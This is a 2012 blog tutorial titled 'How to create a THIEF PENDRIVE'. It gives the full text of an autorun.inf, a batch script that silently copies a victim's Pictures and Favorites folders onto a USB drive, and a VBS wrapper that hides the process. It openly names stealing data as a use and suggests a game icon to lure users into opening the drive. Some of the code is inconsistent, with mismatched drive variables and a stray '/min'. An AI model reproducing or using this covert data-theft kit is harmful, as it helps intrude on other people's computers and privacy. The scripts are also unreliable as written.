Monday, 16 April 2012

How to create a THIEF PENDRIVE

Pen drives can also be used to copy some data from computers without any need of manual actions or clicks to be made.
Negatively it may be used to steal some data from someones computer from a specific location or a drive, but for ethical needs, a man can use this trick to create a pendrive that can act as a synchronisation medium for sharing some information from a computer to another automatically just by inserting the pendrive, and removing it after waiting for a few moments, example for sharing a project's files with your friend who is working with you on the same.



Well lets start with the procedure.
First of all we need a flash drive free of any viruses and not already bootable or made installer for some other application, better to use a newly formattted one.
Along with the drive, notepad application of windows is also needed to create the code files.


STEPS

1.Creating the file to start the code automatically when PD is inserted(autorun.inf)
Open notepad, copy the following code as it is, and save it as "autorun.inf"
[autorun] 
icon=drive.ico 
open=launch.bat  
shell\open\command=launch.bat
This code will create an autorun file that is used by windows to detect the default installation file,when a removable media is inserted.
The line "icon=drive.ico" is used to display the icon in my computer on that drive,but you need to place  any drive.ico file in the pendrive if you want to use this. May help to make the user excited to open the drive if u place a game's icon there, otherwise you can simply remove this line.


2.Creating the file to perform copy of the desired data from the computer to your pendrive
Open notepad, copy the following code as it is, and save it as "file.bat"

@echo off 
:: variables 
/min 
SET odrive=%odrive:~0,2% 
set backupcmd=xcopy /s /c /d /e /h /i /r /y 
echo off 

%backupcmd% "%USERPROFILE%\pictures" "%drive%\copied\pics" 
%backupcmd% "%USERPROFILE%\Favorites" "%drive%\copied\Favs"
 
@echo off 
cls

The above code will run after being initialized by the autorun file and the lines with green background are to locate the path from where the files will be copied, you may replace "%USERPROFILE%\pictures" from any of your desired paths like "c:\data\projects" etc.

NOTE: You also need to create folder with name "copied" and inside the folders "pics","favs" etc.

3.Code to make the batch file run silentlty and hidden like a process
Open notepad once more, copy the code below and save it as "invisible.vbs"
CreateObject("Wscript.Shell").Run """" & WScript.Arguments(0) & """", 0, False

4.Code to start the files to do the final task

now create the last notepad file, and save it as "launch.bat"
wscript.exe \invisible.vbs file.bat 
 All the coding portion is now complete, now copy all the 4 files created from the above steps and save them to your pendrive, and enjoy.


No comments:

Post a Comment

Don't Copy Contents!

//infolinks